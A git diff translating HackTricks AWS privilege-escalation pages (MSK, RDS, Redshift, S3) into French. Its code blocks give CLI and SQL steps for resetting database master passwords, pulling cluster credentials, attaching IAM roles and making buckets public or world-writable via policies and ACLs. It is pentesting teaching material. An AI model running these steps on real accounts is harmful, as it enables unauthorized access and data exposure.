 aws msk --client-authentication <value> --cluster-arn <value> --current-version <value>
 ```
-
-You need access to the VPC because **you cannot enable None authentication with Kafka publicly** exposed. If it's publicly exposed, if **SASL/SCRAM** authentication is used, you could **read the secret** to access (you will need additional privileges to read the secret).\
-If **IAM role-based authentication** is used and **kafka is publicly exposed** you could still abuse these privileges to give you permissions to access it.
+Vous avez besoin d'accéder au VPC car **vous ne pouvez pas activer l'authentification None avec Kafka exposé publiquement**. S'il est exposé publiquement, si **l'authentification SASL/SCRAM** est utilisée, vous pourriez **lire le secret** pour y accéder (vous aurez besoin de privilèges supplémentaires pour lire le secret).\
+Si **l'authentification basée sur les rôles IAM** est utilisée et que **kafka est exposé publiquement**, vous pourriez toujours abuser de ces privilèges pour vous donner des permissions d'accès.
 
 {{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc.md
index 7d43bbd3b..09c253b7d 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc.md
@@ -4,19 +4,15 @@
 
 ## Organizations
 
-For more information check:
+Pour plus d'informations, consultez :
 
 {{#ref}}
 ../aws-services/aws-organizations-enum.md
 {{#endref}}
 
-## From management Account to children accounts
+## Du compte de gestion aux comptes enfants
 
-If you compromise the root/management account, chances are you can compromise all the children accounts.\
-To [**learn how check this page**](../#compromising-the-organization).
+Si vous compromettez le compte root/gestion, il y a de fortes chances que vous puissiez compromettre tous les comptes enfants.\
+Pour [**apprendre comment, consultez cette page**](../#compromising-the-organization).
 
 {{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc.md
index b4a08093e..c80a7377b 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc.md
@@ -2,9 +2,9 @@
 
 {{#include ../../../banners/hacktricks-training.md}}
 
-## RDS - Relational Database Service
+## RDS - Service de base de données relationnelle
 
-For more information about RDS check:
+Pour plus d'informations sur RDS, consultez :
 
 {{#ref}}
 ../aws-services/aws-relational-database-rds-enum.md
@@ -12,59 +12,54 @@ For more information about RDS check:
 
 ### `rds:ModifyDBInstance`
 
-With that permission an attacker can **modify the password of the master user**, and the login inside the database:
-
+Avec cette permission, un attaquant peut **modifier le mot de passe de l'utilisateur principal**, et la connexion à l'intérieur de la base de données :
 ```bash
 # Get the DB username, db name and address
 aws rds describe-db-instances
 
 # Modify the password and wait a couple of minutes
 aws rds modify-db-instance \
-    --db-instance-identifier <db-id> \
-    --master-user-password 'Llaody2f6.123' \
-    --apply-immediately
+--db-instance-identifier <db-id> \
+--master-user-password 'Llaody2f6.123' \
+--apply-immediately
 
 # In case of postgres
 psql postgresql://<username>:<pass>@<rds-dns>:5432/<db-name>
 ```
-
 > [!WARNING]
-> You will need to be able to **contact to the database** (they are usually only accessible from inside networks).
+> Vous devrez être en mesure de **contacter la base de données** (elles sont généralement accessibles uniquement depuis des réseaux internes).
 
-**Potential Impact:** Find sensitive info inside the databases.
+**Impact potentiel :** Trouver des informations sensibles à l'intérieur des bases de données.
 
 ### rds-db:connect
 
-According to the [**docs**](https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/UsingWithRDS.IAMDBAuth.IAMPolicy.html) a user with this permission could connect to the DB instance.
+Selon les [**docs**](https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/UsingWithRDS.IAMDBAuth.IAMPolicy.html), un utilisateur avec cette permission pourrait se connecter à l'instance de DB.
 
-### Abuse RDS Role IAM permissions
+### Abus des permissions IAM du rôle RDS
 
 #### Postgresql (Aurora)
 
 > [!TIP]
-> If running **`SELECT datname FROM pg_database;`** you find a database called **`rdsadmin`** you know you are inside an **AWS postgresql database**.
-
-First you can check if this database has been used to access any other AWS service. You could check this looking at the installed extensions:
+> Si en exécutant **`SELECT datname FROM pg_database;`** vous trouvez une base de données appelée **`rdsadmin`**, vous savez que vous êtes à l'intérieur d'une **base de données postgresql AWS**.
 
+Tout d'abord, vous pouvez vérifier si cette base de données a été utilisée pour accéder à un autre service AWS. Vous pourriez vérifier cela en regardant les extensions installées :
 ```sql
 SELECT * FROM pg_extension;
 ```
+Si vous trouvez quelque chose comme **`aws_s3`**, vous pouvez supposer que cette base de données a **une sorte d'accès à S3** (il existe d'autres extensions telles que **`aws_ml`** et **`aws_lambda`**).
 
-If you find something like **`aws_s3`** you can assume this database has **some kind of access over S3** (there are other extensions such as **`aws_ml`** and **`aws_lambda`**).
-
-Also, if you have permissions to run **`aws rds describe-db-clusters`** you can see there if the **cluster has any IAM Role attached** in the field **`AssociatedRoles`**. If any, you can assume that the database was **prepared to access other AWS services**. Based on the **name of the role** (or if you can get the **permissions** of the role) you could **guess** what extra access the database has.
-
-Now, to **read a file inside a bucket** you need to know the full path. You can read it with:
+De plus, si vous avez les autorisations pour exécuter **`aws rds describe-db-clusters`**, vous pouvez voir là si le **cluster a un rôle IAM associé** dans le champ **`AssociatedRoles`**. S'il y en a un, vous pouvez supposer que la base de données a été **préparée pour accéder à d'autres services AWS**. En fonction du **nom du rôle** (ou si vous pouvez obtenir les **permissions** du rôle), vous pourriez **deviner** quel accès supplémentaire la base de données a.
 
+Maintenant, pour **lire un fichier à l'intérieur d'un bucket**, vous devez connaître le chemin complet. Vous pouvez le lire avec :
 ```sql
 // Create table
 CREATE TABLE ttemp (col TEXT);
 
 // Create s3 uri
 SELECT aws_commons.create_s3_uri(
-   'test1234567890678', // Name of the bucket
-   'data.csv',          // Name of the file
-   'eu-west-1'          //region of the bucket
+'test1234567890678', // Name of the bucket
+'data.csv',          // Name of the file
+'eu-west-1'          //region of the bucket
 ) AS s3_uri \gset
 
 // Load file contents in table
@@ -76,98 +71,81 @@ SELECT * from ttemp;
 // Delete table
 DROP TABLE ttemp;
 ```
-
-If you had **raw AWS credentials** you could also use them to access S3 data with:
-
+Si vous aviez **des identifiants AWS bruts**, vous pourriez également les utiliser pour accéder aux données S3 avec :
 ```sql
 SELECT aws_s3.table_import_from_s3(
-   't', '', '(format csv)',
-   :'s3_uri',
-   aws_commons.create_aws_credentials('sample_access_key', 'sample_secret_key', '')
+'t', '', '(format csv)',
+:'s3_uri',
+aws_commons.create_aws_credentials('sample_access_key', 'sample_secret_key', '')
 );
 ```
-
 > [!NOTE]
-> Postgresql **doesn't need to change any parameter group variable** to be able to access S3.
+> Postgresql **n'a pas besoin de changer de variable de groupe de paramètres** pour pouvoir accéder à S3.
 
 #### Mysql (Aurora)
 
 > [!TIP]
-> Inside a mysql, if you run the query **`SELECT User, Host FROM mysql.user;`** and there is a user called **`rdsadmin`**, you can assume you are inside an **AWS RDS mysql db**.
+> À l'intérieur d'un mysql, si vous exécutez la requête **`SELECT User, Host FROM mysql.user;`** et qu'il y a un utilisateur appelé **`rdsadmin`**, vous pouvez supposer que vous êtes à l'intérieur d'une **base de données mysql AWS RDS**.
 
-Inside the mysql run **`show variables;`** and if the variables such as **`aws_default_s3_role`**, **`aurora_load_from_s3_role`**, **`aurora_select_into_s3_role`**, have values, you can assume the database is prepared to access S3 data.
+À l'intérieur du mysql, exécutez **`show variables;`** et si les variables telles que **`aws_default_s3_role`**, **`aurora_load_from_s3_role`**, **`aurora_select_into_s3_role`** ont des valeurs, vous pouvez supposer que la base de données est prête à accéder aux données S3.
 
-Also, if you have permissions to run **`aws rds describe-db-clusters`** you can check if the cluster has any **associated role**, which usually means access to AWS services).
-
-Now, to **read a file inside a bucket** you need to know the full path. You can read it with:
+De plus, si vous avez les autorisations pour exécuter **`aws rds describe-db-clusters`**, vous pouvez vérifier si le cluster a un **rôle associé**, ce qui signifie généralement un accès aux services AWS.
 
+Maintenant, pour **lire un fichier à l'intérieur d'un bucket**, vous devez connaître le chemin complet. Vous pouvez le lire avec :
 ```sql
 CREATE TABLE ttemp (col TEXT);
 LOAD DATA FROM S3 's3://mybucket/data.txt' INTO TABLE ttemp(col);
 SELECT * FROM ttemp;
 DROP TABLE ttemp;
 ```
-
 ### `rds:AddRoleToDBCluster`, `iam:PassRole`
 
-An attacker with the permissions `rds:AddRoleToDBCluster` and `iam:PassRole` can **add a specified role to an existing RDS instance**. This could allow the attacker to **access sensitive data** or modify the data within the instance.
-
+Un attaquant avec les permissions `rds:AddRoleToDBCluster` et `iam:PassRole` peut **ajouter un rôle spécifié à une instance RDS existante**. Cela pourrait permettre à l'attaquant d'**accéder à des données sensibles** ou de modifier les données au sein de l'instance.
 ```bash
 aws add-role-to-db-cluster --db-cluster-identifier <value> --role-arn <value>
 ```
-
-**Potential Impact**: Access to sensitive data or unauthorized modifications to the data in the RDS instance.\
-Note that some DBs require additional configs such as Mysql, which needs to specify the role ARN in the aprameter groups also.
+**Impact potentiel** : Accès à des données sensibles ou modifications non autorisées des données dans l'instance RDS.\
+Notez que certaines bases de données nécessitent des configurations supplémentaires telles que Mysql, qui doit spécifier le rôle ARN dans les groupes de paramètres également.
 
 ### `rds:CreateDBInstance`
 
-Just with this permission an attacker could create a **new instance inside a cluster** that already exists and has an **IAM role** attached. He won't be able to change the master user password, but he might be able to expose the new database instance to the internet:
-
+Juste avec cette permission, un attaquant pourrait créer une **nouvelle instance à l'intérieur d'un cluster** qui existe déjà et a un **rôle IAM** attaché. Il ne pourra pas changer le mot de passe de l'utilisateur principal, mais il pourrait être en mesure d'exposer la nouvelle instance de base de données à Internet :
 ```bash
 aws --region eu-west-1 --profile none-priv rds create-db-instance \
-    --db-instance-identifier mydbinstance2 \
-    --db-instance-class db.t3.medium \
-    --engine aurora-postgresql \
-    --db-cluster-identifier database-1 \
-    --db-security-groups "string" \
-    --publicly-accessible
+--db-instance-identifier mydbinstance2 \
+--db-instance-class db.t3.medium \
+--engine aurora-postgresql \
+--db-cluster-identifier database-1 \
+--db-security-groups "string" \
+--publicly-accessible
 ```
-
 ### `rds:CreateDBInstance`, `iam:PassRole`
 
 > [!NOTE]
 > TODO: Test
 
-An attacker with the permissions `rds:CreateDBInstance` and `iam:PassRole` can **create a new RDS instance with a specified role attached**. The attacker can then potentially **access sensitive data** or modify the data within the instance.
+Un attaquant avec les permissions `rds:CreateDBInstance` et `iam:PassRole` peut **créer une nouvelle instance RDS avec un rôle spécifié attaché**. L'attaquant peut alors potentiellement **accéder à des données sensibles** ou modifier les données au sein de l'instance.
 
 > [!WARNING]
-> Some requirements of the role/instance-profile to attach (from [**here**](https://docs.aws.amazon.com/cli/latest/reference/rds/create-db-instance.html)):
-
-> - The profile must exist in your account.
-> - The profile must have an IAM role that Amazon EC2 has permissions to assume.
-> - The instance profile name and the associated IAM role name must start with the prefix `AWSRDSCustom` .
+> Certaines exigences du rôle/profil d'instance à attacher (depuis [**ici**](https://docs.aws.amazon.com/cli/latest/reference/rds/create-db-instance.html)) :
 
+> - Le profil doit exister dans votre compte.
+> - Le profil doit avoir un rôle IAM que Amazon EC2 a la permission d'assumer.
+> - Le nom du profil d'instance et le nom du rôle IAM associé doivent commencer par le préfixe `AWSRDSCustom`.
 ```bash
 aws rds create-db-instance --db-instance-identifier malicious-instance --db-instance-class db.t2.micro --engine mysql --allocated-storage 20 --master-username admin --master-user-password mypassword --db-name mydatabase --vapc-security-group-ids sg-12345678 --db-subnet-group-name mydbsubnetgroup --enable-iam-database-authentication --custom-iam-instance-profile arn:aws:iam::123456789012:role/MyRDSEnabledRole
 ```
-
-**Potential Impact**: Access to sensitive data or unauthorized modifications to the data in the RDS instance.
+**Impact potentiel** : Accès à des données sensibles ou modifications non autorisées des données dans l'instance RDS.
 
 ### `rds:AddRoleToDBInstance`, `iam:PassRole`
 
-An attacker with the permissions `rds:AddRoleToDBInstance` and `iam:PassRole` can **add a specified role to an existing RDS instance**. This could allow the attacker to **access sensitive data** or modify the data within the instance.
+Un attaquant disposant des autorisations `rds:AddRoleToDBInstance` et `iam:PassRole` peut **ajouter un rôle spécifié à une instance RDS existante**. Cela pourrait permettre à l'attaquant d'**accéder à des données sensibles** ou de modifier les données au sein de l'instance.
 
 > [!WARNING]
-> The DB instance must be outside of a cluster for this
-
+> L'instance de base de données doit être en dehors d'un cluster pour cela.
 ```bash
 aws rds add-role-to-db-instance --db-instance-identifier target-instance --role-arn arn:aws:iam::123456789012:role/MyRDSEnabledRole --feature-name <feat-name>
 ```
-
-**Potential Impact**: Access to sensitive data or unauthorized modifications to the data in the RDS instance.
+**Impact potentiel** : Accès à des données sensibles ou modifications non autorisées des données dans l'instance RDS.
 
 {{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-redshift-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-redshift-privesc.md
index 825c16ad6..4d2dbc952 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-redshift-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-redshift-privesc.md
@@ -4,7 +4,7 @@
 
 ## Redshift
 
-For more information about RDS check:
+Pour plus d'informations sur RDS, consultez :
 
 {{#ref}}
 ../aws-services/aws-redshift-enum.md
@@ -12,52 +12,45 @@ For more information about RDS check:
 
 ### `redshift:DescribeClusters`, `redshift:GetClusterCredentials`
 
-With these permissions you can get **info of all the clusters** (including name and cluster username) and **get credentials** to access it:
-
+Avec ces permissions, vous pouvez obtenir **des informations sur tous les clusters** (y compris le nom et le nom d'utilisateur du cluster) et **obtenir des identifiants** pour y accéder :
 ```bash
 # Get creds
 aws redshift get-cluster-credentials --db-user postgres --cluster-identifier redshift-cluster-1
 # Connect, even if the password is a base64 string, that is the password
 psql -h redshift-cluster-1.asdjuezc439a.us-east-1.redshift.amazonaws.com -U "IAM:<username>" -d template1 -p 5439
 ```
-
-**Potential Impact:** Find sensitive info inside the databases.
+**Impact potentiel :** Trouver des informations sensibles dans les bases de données.
 
 ### `redshift:DescribeClusters`, `redshift:GetClusterCredentialsWithIAM`
 
-With these permissions you can get **info of all the clusters** and **get credentials** to access it.\
-Note that the postgres user will have the **permissions that the IAM identity** used to get the credentials has.
-
+Avec ces autorisations, vous pouvez obtenir **des informations sur tous les clusters** et **obtenir des identifiants** pour y accéder.\
+Notez que l'utilisateur postgres aura les **autorisations que l'identité IAM** utilisée pour obtenir les identifiants possède.
 ```bash
 # Get creds
 aws redshift get-cluster-credentials-with-iam --cluster-identifier redshift-cluster-1
 # Connect, even if the password is a base64 string, that is the password
 psql -h redshift-cluster-1.asdjuezc439a.us-east-1.redshift.amazonaws.com -U "IAMR:AWSReservedSSO_AdministratorAccess_4601154638985c45" -d template1 -p 5439
 ```
-
-**Potential Impact:** Find sensitive info inside the databases.
+**Impact potentiel :** Trouver des informations sensibles dans les bases de données.
 
 ### `redshift:DescribeClusters`, `redshift:ModifyCluster?`
 
-It's possible to **modify the master password** of the internal postgres (redshit) user from aws cli (I think those are the permissions you need but I haven't tested them yet):
-
+Il est possible de **modifier le mot de passe principal** de l'utilisateur postgres interne (redshift) depuis aws cli (je pense que ce sont les autorisations dont vous avez besoin mais je ne les ai pas encore testées) :
 ```
 aws redshift modify-cluster –cluster-identifier <identifier-for-the cluster> –master-user-password ‘master-password’;
 ```
+**Impact potentiel :** Trouver des informations sensibles dans les bases de données.
 
-**Potential Impact:** Find sensitive info inside the databases.
-
-## Accessing External Services
+## Accéder aux services externes
 
 > [!WARNING]
-> To access all the following resources, you will need to **specify the role to use**. A Redshift cluster **can have assigned a list of AWS roles** that you can use **if you know the ARN** or you can just set "**default**" to use the default one assigned.
+> Pour accéder à toutes les ressources suivantes, vous devrez **spécifier le rôle à utiliser**. Un cluster Redshift **peut avoir une liste de rôles AWS assignés** que vous pouvez utiliser **si vous connaissez l'ARN** ou vous pouvez simplement définir "**default**" pour utiliser celui par défaut assigné.
 
-> Moreover, as [**explained here**](https://docs.aws.amazon.com/redshift/latest/mgmt/authorizing-redshift-service.html), Redshift also allows to concat roles (as long as the first one can assume the second one) to get further access but just **separating** them with a **comma**: `iam_role 'arn:aws:iam::123456789012:role/RoleA,arn:aws:iam::210987654321:role/RoleB';`
+> De plus, comme [**expliqué ici**](https://docs.aws.amazon.com/redshift/latest/mgmt/authorizing-redshift-service.html), Redshift permet également de concaténer des rôles (tant que le premier peut assumer le second) pour obtenir un accès supplémentaire mais en les **séparant** simplement par une **virgule** : `iam_role 'arn:aws:iam::123456789012:role/RoleA,arn:aws:iam::210987654321:role/RoleB';`
 
 ### Lambdas
 
-As explained in [https://docs.aws.amazon.com/redshift/latest/dg/r_CREATE_EXTERNAL_FUNCTION.html](https://docs.aws.amazon.com/redshift/latest/dg/r_CREATE_EXTERNAL_FUNCTION.html), it's possible to **call a lambda function from redshift** with something like:
-
+Comme expliqué dans [https://docs.aws.amazon.com/redshift/latest/dg/r_CREATE_EXTERNAL_FUNCTION.html](https://docs.aws.amazon.com/redshift/latest/dg/r_CREATE_EXTERNAL_FUNCTION.html), il est possible de **appeler une fonction lambda depuis redshift** avec quelque chose comme :
 ```sql
 CREATE EXTERNAL FUNCTION exfunc_sum2(INT,INT)
 RETURNS INT
@@ -65,11 +58,9 @@ STABLE
 LAMBDA 'lambda_function'
 IAM_ROLE default;
 ```
-
 ### S3
 
-As explained in [https://docs.aws.amazon.com/redshift/latest/dg/tutorial-loading-run-copy.html](https://docs.aws.amazon.com/redshift/latest/dg/tutorial-loading-run-copy.html), it's possible to **read and write into S3 buckets**:
-
+Comme expliqué dans [https://docs.aws.amazon.com/redshift/latest/dg/tutorial-loading-run-copy.html](https://docs.aws.amazon.com/redshift/latest/dg/tutorial-loading-run-copy.html), il est possible de **lire et écrire dans des buckets S3** :
 ```sql
 # Read
 copy table from 's3://<your-bucket-name>/load/key_prefix'
@@ -82,30 +73,23 @@ unload ('select * from venue')
 to 's3://mybucket/tickit/unload/venue_'
 iam_role default;
 ```
-
 ### Dynamo
 
-As explained in [https://docs.aws.amazon.com/redshift/latest/dg/t_Loading-data-from-dynamodb.html](https://docs.aws.amazon.com/redshift/latest/dg/t_Loading-data-from-dynamodb.html), it's possible to **get data from dynamodb**:
-
+Comme expliqué dans [https://docs.aws.amazon.com/redshift/latest/dg/t_Loading-data-from-dynamodb.html](https://docs.aws.amazon.com/redshift/latest/dg/t_Loading-data-from-dynamodb.html), il est possible de **get data from dynamodb** :
 ```sql
 copy favoritemovies
 from 'dynamodb://ProductCatalog'
 iam_role 'arn:aws:iam::0123456789012:role/MyRedshiftRole';
 ```
-
 > [!WARNING]
-> The Amazon DynamoDB table that provides the data must be created in the same AWS Region as your cluster unless you use the [REGION](https://docs.aws.amazon.com/redshift/latest/dg/copy-parameters-data-source-s3.html#copy-region) option to specify the AWS Region in which the Amazon DynamoDB table is located.
+> La table Amazon DynamoDB qui fournit les données doit être créée dans la même région AWS que votre cluster, à moins que vous n'utilisiez l'option [REGION](https://docs.aws.amazon.com/redshift/latest/dg/copy-parameters-data-source-s3.html#copy-region) pour spécifier la région AWS dans laquelle se trouve la table Amazon DynamoDB.
 
 ### EMR
 
-Check [https://docs.aws.amazon.com/redshift/latest/dg/loading-data-from-emr.html](https://docs.aws.amazon.com/redshift/latest/dg/loading-data-from-emr.html)
+Vérifiez [https://docs.aws.amazon.com/redshift/latest/dg/loading-data-from-emr.html](https://docs.aws.amazon.com/redshift/latest/dg/loading-data-from-emr.html)
 
 ## References
 
 - [https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a](https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a)
 
 {{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc.md
index 0af161cbc..51823bacf 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc.md
@@ -6,117 +6,112 @@
 
 ### `s3:PutBucketNotification`, `s3:PutObject`, `s3:GetObject`
 
-An attacker with those permissions over interesting buckets might be able to hijack resources and escalate privileges.
-
-For example, an attacker with those **permissions over a cloudformation bucket** called "cf-templates-nohnwfax6a6i-us-east-1" will be able to hijack the deployment. The access can be given with the following policy:
+Un attaquant ayant ces permissions sur des buckets intéressants pourrait être en mesure de détourner des ressources et d'escalader des privilèges.
 
+Par exemple, un attaquant ayant ces **permissions sur un bucket cloudformation** appelé "cf-templates-nohnwfax6a6i-us-east-1" pourra détourner le déploiement. L'accès peut être accordé avec la politique suivante :
 ```json
 {
-  "Version": "2012-10-17",
-  "Statement": [
-    {
-      "Effect": "Allow",
-      "Action": [
-        "s3:PutBucketNotification",
-        "s3:GetBucketNotification",
-        "s3:PutObject",
-        "s3:GetObject"
-      ],
-      "Resource": [
-        "arn:aws:s3:::cf-templates-*/*",
-        "arn:aws:s3:::cf-templates-*"
-      ]
-    },
-    {
-      "Effect": "Allow",
-      "Action": "s3:ListAllMyBuckets",
-      "Resource": "*"
-    }
-  ]
+"Version": "2012-10-17",
+"Statement": [
+{
+"Effect": "Allow",
+"Action": [
+"s3:PutBucketNotification",
+"s3:GetBucketNotification",
+"s3:PutObject",
+"s3:GetObject"
+],
+"Resource": [
+"arn:aws:s3:::cf-templates-*/*",
+"arn:aws:s3:::cf-templates-*"
+]
+},
+{
+"Effect": "Allow",
+"Action": "s3:ListAllMyBuckets",
+"Resource": "*"
+}
+]
 }
 ```
-
-And the hijack is possible because there is a **small time window from the moment the template is uploaded** to the bucket to the moment the **template is deployed**. An attacker might just create a **lambda function** in his account that will **trigger when a bucket notification is sent**, and **hijacks** the **content** of that **bucket**.
+Et le détournement est possible car il y a une **petite fenêtre de temps entre le moment où le modèle est téléchargé** dans le bucket et le moment où le **modèle est déployé**. Un attaquant pourrait simplement créer une **fonction lambda** dans son compte qui **se déclenche lorsqu'une notification de bucket est envoyée**, et **détourne** le **contenu** de ce **bucket**.
 
 ![](<../../../images/image (174).png>)
 
-The Pacu module [`cfn__resouce_injection`](https://github.com/RhinoSecurityLabs/pacu/wiki/Module-Details#cfn__resource_injection) can be used to automate this attack.\
-For mor informatino check the original research: [https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/](https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/)
+Le module Pacu [`cfn__resouce_injection`](https://github.com/RhinoSecurityLabs/pacu/wiki/Module-Details#cfn__resource_injection) peut être utilisé pour automatiser cette attaque.\
+Pour plus d'informations, consultez la recherche originale : [https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/](https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/)
 
 ### `s3:PutObject`, `s3:GetObject` <a href="#s3putobject-s3getobject" id="s3putobject-s3getobject"></a>
 
-These are the permissions to **get and upload objects to S3**. Several services inside AWS (and outside of it) use S3 storage to store **config files**.\
-An attacker with **read access** to them might find **sensitive information** on them.\
-An attacker with **write access** to them could **modify the data to abuse some service and try to escalate privileges**.\
-These are some examples:
+Ce sont les permissions pour **obtenir et télécharger des objets sur S3**. Plusieurs services à l'intérieur d'AWS (et en dehors) utilisent le stockage S3 pour stocker des **fichiers de configuration**.\
+Un attaquant avec un **accès en lecture** à ceux-ci pourrait trouver des **informations sensibles**.\
+Un attaquant avec un **accès en écriture** à ceux-ci pourrait **modifier les données pour abuser d'un service et essayer d'escalader les privilèges**.\
+Voici quelques exemples :
 
-- If an EC2 instance is storing the **user data in a S3 bucket**, an attacker could modify it to **execute arbitrary code inside the EC2 instance**.
+- Si une instance EC2 stocke les **données utilisateur dans un bucket S3**, un attaquant pourrait les modifier pour **exécuter du code arbitraire à l'intérieur de l'instance EC2**.
 
 ### `s3:PutBucketPolicy`
 
-An attacker, that needs to be **from the same account**, if not the error `The specified method is not allowed will trigger`, with this permission will be able to grant himself more permissions over the bucket(s) allowing him to read, write, modify, delete and expose buckets.
-
+Un attaquant, qui doit être **du même compte**, sinon l'erreur `The specified method is not allowed will trigger`, avec cette permission pourra se donner plus de permissions sur le(s) bucket(s) lui permettant de lire, écrire, modifier, supprimer et exposer des buckets.
 ```bash
 # Update Bucket policy
 aws s3api put-bucket-policy --policy file:///root/policy.json --bucket <bucket-name>
 
 ## JSON giving permissions to a user and mantaining some previous root access
 {
-    "Id": "Policy1568185116930",
-    "Version":"2012-10-17",
-    "Statement":[
-        {
-            "Effect":"Allow",
-            "Principal":{
-                "AWS":"arn:aws:iam::123123123123:root"
-            },
-            "Action":"s3:ListBucket",
-            "Resource":"arn:aws:s3:::somebucketname"
-        },
-        {
-            "Effect":"Allow",
-            "Principal":{
-                "AWS":"arn:aws:iam::123123123123:user/username"
-            },
-            "Action":"s3:*",
-            "Resource":"arn:aws:s3:::somebucketname/*"
-        }
-    ]
+"Id": "Policy1568185116930",
+"Version":"2012-10-17",
+"Statement":[
+{
+"Effect":"Allow",
+"Principal":{
+"AWS":"arn:aws:iam::123123123123:root"
+},
+"Action":"s3:ListBucket",
+"Resource":"arn:aws:s3:::somebucketname"
+},
+{
+"Effect":"Allow",
+"Principal":{
+"AWS":"arn:aws:iam::123123123123:user/username"
+},
+"Action":"s3:*",
+"Resource":"arn:aws:s3:::somebucketname/*"
+}
+]
 }
 
 ## JSON Public policy example
 ### IF THE S3 BUCKET IS PROTECTED FROM BEING PUBLICLY EXPOSED, THIS WILL THROW AN ACCESS DENIED EVEN IF YOU HAVE ENOUGH PERMISSIONS
 {
-  "Id": "Policy1568185116930",
-  "Version": "2012-10-17",
-  "Statement": [
-  {
-      "Sid": "Stmt1568184932403",
-      "Action": [
-        "s3:ListBucket"
-      ],
-      "Effect": "Allow",
-      "Resource": "arn:aws:s3:::welcome",
-      "Principal": "*"
-  },
-  {
-    "Sid": "Stmt1568185007451",
-    "Action": [
-      "s3:GetObject"
-    ],
-    "Effect": "Allow",
-    "Resource": "arn:aws:s3:::welcome/*",
-    "Principal": "*"
-  }
-  ]
+"Id": "Policy1568185116930",
+"Version": "2012-10-17",
+"Statement": [
+{
+"Sid": "Stmt1568184932403",
+"Action": [
+"s3:ListBucket"
+],
+"Effect": "Allow",
+"Resource": "arn:aws:s3:::welcome",
+"Principal": "*"
+},
+{
+"Sid": "Stmt1568185007451",
+"Action": [
+"s3:GetObject"
+],
+"Effect": "Allow",
+"Resource": "arn:aws:s3:::welcome/*",
+"Principal": "*"
+}
+]
 }
 ```
-
 ### `s3:GetBucketAcl`, `s3:PutBucketAcl`
 
-An attacker could abuse these permissions to **grant him more access** over specific buckets.\
-Note that the attacker doesn't need to be from the same account. Moreover the write access
-
+Un attaquant pourrait abuser de ces permissions pour **lui accorder plus d'accès** sur des buckets spécifiques.\
+Notez que l'attaquant n'a pas besoin d'être du même compte. De plus, l'accès en écriture
 ```bash
 # Update bucket ACL
 aws s3api get-bucket-acl --bucket <bucket-name>
@@ -125,27 +120,25 @@ aws s3api put-bucket-acl --bucket <bucket-name> --access-control-policy file://a
 ##JSON ACL example
 ## Make sure to modify the Owner’s displayName and ID according to the Object ACL you retrieved.
 {
-  "Owner": {
-    "DisplayName": "<DisplayName>",
-    "ID": "<ID>"
-  },
-  "Grants": [
-  {
-    "Grantee": {
-      "Type": "Group",
-      "URI": "http://acs.amazonaws.com/groups/global/AuthenticatedUsers"
-    },
-  "Permission": "FULL_CONTROL"
-  }
-  ]
+"Owner": {
+"DisplayName": "<DisplayName>",
+"ID": "<ID>"
+},
+"Grants": [
+{
+"Grantee": {
+"Type": "Group",
+"URI": "http://acs.amazonaws.com/groups/global/AuthenticatedUsers"
+},
+"Permission": "FULL_CONTROL"
+}
+]
 }
 ## An ACL should give you the permission WRITE_ACP to be able to put a new ACL
 ```
-
 ### `s3:GetObjectAcl`, `s3:PutObjectAcl`
 
-An attacker could abuse these permissions to grant him more access over specific objects inside buckets.
-
+Un attaquant pourrait abuser de ces autorisations pour lui accorder plus d'accès sur des objets spécifiques à l'intérieur des buckets.
 ```bash
 # Update bucket object ACL
 aws s3api get-object-acl --bucket <bucekt-name> --key flag
@@ -154,34 +147,27 @@ aws s3api put-object-acl --bucket <bucket-name> --key flag --access-control-poli
 ##JSON ACL example
 ## Make sure to modify the Owner’s displayName and ID according to the Object ACL you retrieved.
 {
-  "Owner": {
-    "DisplayName": "<DisplayName>",
-    "ID": "<ID>"
-  },
-  "Grants": [
-  {
-    "Grantee": {
-      "Type": "Group",
-      "URI": "http://acs.amazonaws.com/groups/global/AuthenticatedUsers"
-    },
-  "Permission": "FULL_CONTROL"
-  }
-  ]
+"Owner": {
+"DisplayName": "<DisplayName>",
+"ID": "<ID>"
+},
+"Grants": [
+{
+"Grantee": {
+"Type": "Group",
+"URI": "http://acs.amazonaws.com/groups/global/AuthenticatedUsers"
+},
+"Permission": "FULL_CONTROL"
+}
+]
 }
 ## An ACL should give you the permission WRITE_ACP to be able to put a new ACL
 ```
-
 ### `s3:GetObjectAcl`, `s3:PutObjectVersionAcl`
 
-An attacker with these privileges is expected to be able to put an Acl to an specific object version
-
+Un attaquant disposant de ces privilèges est censé pouvoir appliquer un Acl à une version d'objet spécifique.
 ```bash
 aws s3api get-object-acl --bucket <bucekt-name> --key flag
 aws s3api put-object-acl --bucket <bucket-name> --key flag --version-id <value> --access-control-policy file://objacl.json
 ```
-
 {{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
